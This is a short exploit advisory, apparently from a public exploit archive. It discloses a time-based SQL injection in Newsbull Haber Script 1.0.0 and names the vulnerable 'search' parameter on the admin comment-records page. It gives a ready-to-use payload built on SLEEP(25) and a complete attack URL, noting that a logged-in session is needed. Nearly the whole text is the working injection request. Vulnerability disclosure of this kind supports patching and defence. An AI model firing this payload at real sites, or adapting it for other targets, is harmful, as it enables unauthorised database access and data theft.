#################################################################### # Exploit Title: Newsbull Haber Script - SQL Injection (Time Based) # Dork: N/A # Date: 28-01-2019 # Exploit Author: Mehmet EMIROGLU # Vendor Homepage: http://newsbull.org/ # Software Link: https://github.com/gurkanuzunca/newsbull # Version: 1.0.0 # Category: Webapps # Tested on: Wampp @Win # CVE: N/A #################################################################### # Vulnerabilities # For the SQL injection to be applied, the user must log in. # Running the injection command in the POC section will display the db data. # The proof of the deficit is in the link below. # https://i.hizliresim.com/zj0Q77.jpg #################################################################### # POC - SQLi (Time Based) # Parameters : search # Attack Pattern : -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' # GET Request : http://localhost/[PATH]/admin/comment/records?userId=1&search=1'[SQL] # URL : http://localhost/[PATH]/admin/comment/records?userId=1&search=-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' ####################################################################